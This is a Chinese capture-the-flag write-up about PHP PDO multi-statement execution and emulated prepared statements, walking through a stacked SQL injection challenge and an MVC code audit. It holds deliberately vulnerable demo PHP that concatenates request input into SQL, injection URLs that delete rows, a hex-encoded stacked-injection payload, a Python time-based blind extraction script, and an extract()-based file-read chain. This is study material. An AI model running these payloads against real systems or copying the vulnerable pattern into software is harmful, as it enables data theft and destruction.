知识点
- PHP PDO模式下的SQL语句
- SQL语句预处理
- PDO多语句执行
- MVC代码审计
PDO多语句执行
讲解一下 PDO 模式下的mysql连接方式<?php$dbms='mysql'; //数据库类型$host='localhost'; //数据库主机名$dbName='messageboard'; //使用的数据库$user='root'; //数据库连接用户名$pass='123456'; //对应的密码$dsn="$dbms:host=$host;dbname=$dbName";try{$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));echo "messageboard";echo "<br>";}catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");}$sql = 'select * from user where id=2;';$sql .= 'delete from user where id=4;';$result = $db -> query($sql);while($row=$result->fetch(PDO::FETCH_ASSOC)){var_dump($row);echo "<br>";}?>
PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True
这两个参数分别是建立持久连接,一个是开启多语句执行
当前数据库的内容$dbms='mysql'; //数据库类型$host='localhost'; //数据库主机名$dbName='messageboard'; //使用的数据库$user='root'; //数据库连接用户名$pass='123456'; //对应的密码$dsn="$dbms:host=$host;dbname=$dbName";try{$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));echo "messageboard";echo "<br>";}catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");}
这里我们的sql语句进行了拼接,执行了两条sql语句
查看一下效果$sql = 'select * from user where id=2;';$sql .= 'delete from user where id=4;';$result = $db -> query($sql);while($row=$result->fetch(PDO::FETCH_ASSOC)){var_dump($row);echo "<br>";}
再看一下数据库的内容,会发现执行了两条sql语句,id=4的数据已经被删除了messageboardarray(4) { ["id"]=> string(1) "2" ["email"]=> string(13) "123456@qq.com" ["password"]=> string(32) "e10adc3949ba59abbe56e057f20f883e" ["headimg"]=> string(59) "D:\phpstudy_pro\WWW\Messageboard\images\default_headimg.png" }
预处理
- PDO::prepare($SQL)
PDO::prepare — 准备要执行的SQL语句并返回一个 PDOStatement 对象
2. PDO::bindValue($param, $value)
PDOStatement::bindParam — 把一个值绑定到一个参数
3. PDO::exec — 执行一条 SQL 语句,并返回受影响的行数
下面写一个完整的流程
这里有一个坑点就是bindParam(1,$id,PDO::PARAM_INT);绑定参数的时候第二个一定要是一个变量<?php$dbms='mysql'; //数据库类型$host='localhost'; //数据库主机名$dbName='messageboard'; //使用的数据库$user='root'; //数据库连接用户名$pass='123456'; //对应的密码$dsn="$dbms:host=$host;dbname=$dbName";try{$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));echo "messageboard";echo "<br>";}catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");}$sql = "select * from user where id= ?;";$id = 2;$psql = $pdo -> prepare($sql);$psql -> bindParam(1,$id,PDO::PARAM_INT);$psql->execute();while($row=$psql->fetch(PDO::FETCH_ASSOC)){var_dump($row);echo "<br>";}?>
原因是bindParam和bindValue是不同的, bindParam要求第二个参数是一个引用变量(reference)
此外预处理还存在两种模式模拟预处理和非模拟预处理
```php 模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
<a name="Az900"></a>## 模拟预处理的安全问题下面模拟一下预处理模式下的PDO```php<?php$dbms='mysql'; //数据库类型$host='localhost'; //数据库主机名$dbName='messageboard'; //使用的数据库$user='root'; //数据库连接用户名$pass='123456'; //对应的密码$dsn="$dbms:host=$host;dbname=$dbName";try{$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));echo "messageboard";echo "<br>";}catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");}$sql = "select email,".$_GET['filed']." from user where id= ?;";$id = $_GET['id'];$psql = $pdo -> prepare($sql);$psql -> bindParam(1,$id);var_dump($psql);echo "<br>";$psql->execute();while($row=$psql->fetch(PDO::FETCH_ASSOC)){var_dump($row);echo "<br>";}?>
这个时候我们传入参数[http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password](http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password)
执行的结果
messageboardobject(PDOStatement)#2 (1) { ["queryString"]=> string(44) "select email,password from user where id= ?;" }array(2) { ["email"]=> string(13) "123456@qq.co
同时我们可以控制filed参数来进行SQL注入?id=2&filed=id from user;select password,headimg
结果输出为
messageboardobject(PDOStatement)#2 (1) { ["queryString"]=> string(72) "select email,id from user;select password,headimg from user where id= ?;" }array(2) { ["email"]=> string(13) "123456@qq.com" ["id"]=> string(1) "2" }array(2) { ["email"]=> string(14) "123456@163.com" ["id"]=> string(1) "6" }
或者注入[http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete](http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete)
可以发现数据库id=6的内容被删除了
解题
- 首先观察了一下注入点
正常输入错误的账号和密码的返回值 - 如果username后面加一个引号则会产生报错
- 如果在username后面添加一个’;则页面返回{“code”:”202”,”info”:”error username or password.”},通过这里的判断可以确定这里应该是存在一个堆叠注入的
- 我们可以利用这个fuzz一下,发现过滤了handler,select,union等字符
- 所以这里需要采用16进制绕过 原理如下 ```plsql mysql> select hex(‘abasd’); +———————+ | hex(‘abasd’) | +———————+ | 6162617364 | +———————+ 1 row in set (0.00 sec)
mysql> select 0x6162617364; +———————+ | 0x6162617364 | +———————+ | abasd | +———————+ 1 row in set (0.00 sec)
6. 接着我们就可以利用PDO的多语句执行来构造payload构造的payload如下```plsqlxbx0d';set @a=0x{0};prepare b from @a;execute b--+其中{0}用下面的语句填充select if(ascii(substr((select flag from flag),1,1))>1,sleep(2),1)
写exp 两个点一个是url为login 一个是data用用json编码
import requestsimport timeimport jsonurl = "http://25f270af-a961-4d4a-b0e9-38137c34f8ef.node4.buuoj.cn:81/index.php?r=Login/login"payloads="xbx0d';set @a=0x{0};prepare test from @a;execute test;"flag = ''def strtohex(string):p = ''for c in string:p = p + hex(ord(c))[2:]return pfor i in range(1,100):print(i)payload = "select if(ascii(substr((select flag from flag),{0},1))={1},Sleep(3),1)"for j in range(0,128):data = {'username' : payloads.format(strtohex(payload.format(i,j))),'password' : '123'}data = json.dumps(data)start = time.time()r = requests.post(url=url,data=data)end = time.time()if end - start >= 3:flag = flag + chr(j)print(flag)break
结果是:glzjin_wants_a_girl_friend.zip 是题目的源代码
接着就是审计MVC框架了 看wp看wp,焦了焦了
首先是获取r参数之后讲r的值以/分割改为数组形式,分别赋给$controller,$action,然后接着调用该控制器下的某个函数
if(!empty($_REQUEST['r'])){$r = explode('/', $_REQUEST['r']);list($controller,$action) = $r;$controller = "{$controller}Controller";$action = "action{$action}";if(class_exists($controller)){if(method_exists($controller,$action)){//}else{$action = "actionIndex";}}else{$controller = "LoginController";$action = "actionIndex";}$data = call_user_func(array( (new $controller), $action));} else {header("Location:index.php?r=Login/Index");}
接着我们看Basecontorller.php 存在一个变量覆盖
public function loadView($viewName ='', $viewData = []){$this->viewPath = BASE_PATH . "/View/{$viewName}.php";if(file_exists($this->viewPath)){extract($viewData);include $this->viewPath;}}
接着在Usercontroller.php发现actionIndex()函数的所有参数我们都是可以控制
public function actionIndex(){$listData = $_REQUEST;$this->loadView('userIndex',$listData);}
最后在UserIndex.php发现一个文件读取
if(!isset($img_file)) {$img_file = '/../favicon.ico';}$img_dir = dirname(__FILE__) . $img_file;$img_base64 = imgToBase64($img_dir);echo '<img src="' . $img_base64 . '">'; //图片形式展示
构造一下我们的payload
首先通过fun.php 调用 usercontroller的actionindex函数接着会调用到BaseController.php$this->viewPath = BASE_PATH . "/View/userindx.php";extract($viewData);产生变量覆盖覆盖$img_file = '/../favicon.ico';
总结
这道题SQL注入以前接触过,但是没有太想起来,还需要多练习
至于MVC代码审计,我只想说,告诉我漏洞,我都联系起来都要半天,更别说在代码中满满找了
其实思路应该很明确的
最后要读取flag,所以肯定有文件读取的漏洞,就应该找到UserIndex.php
之后再看哪个页面调用到Userindex.php
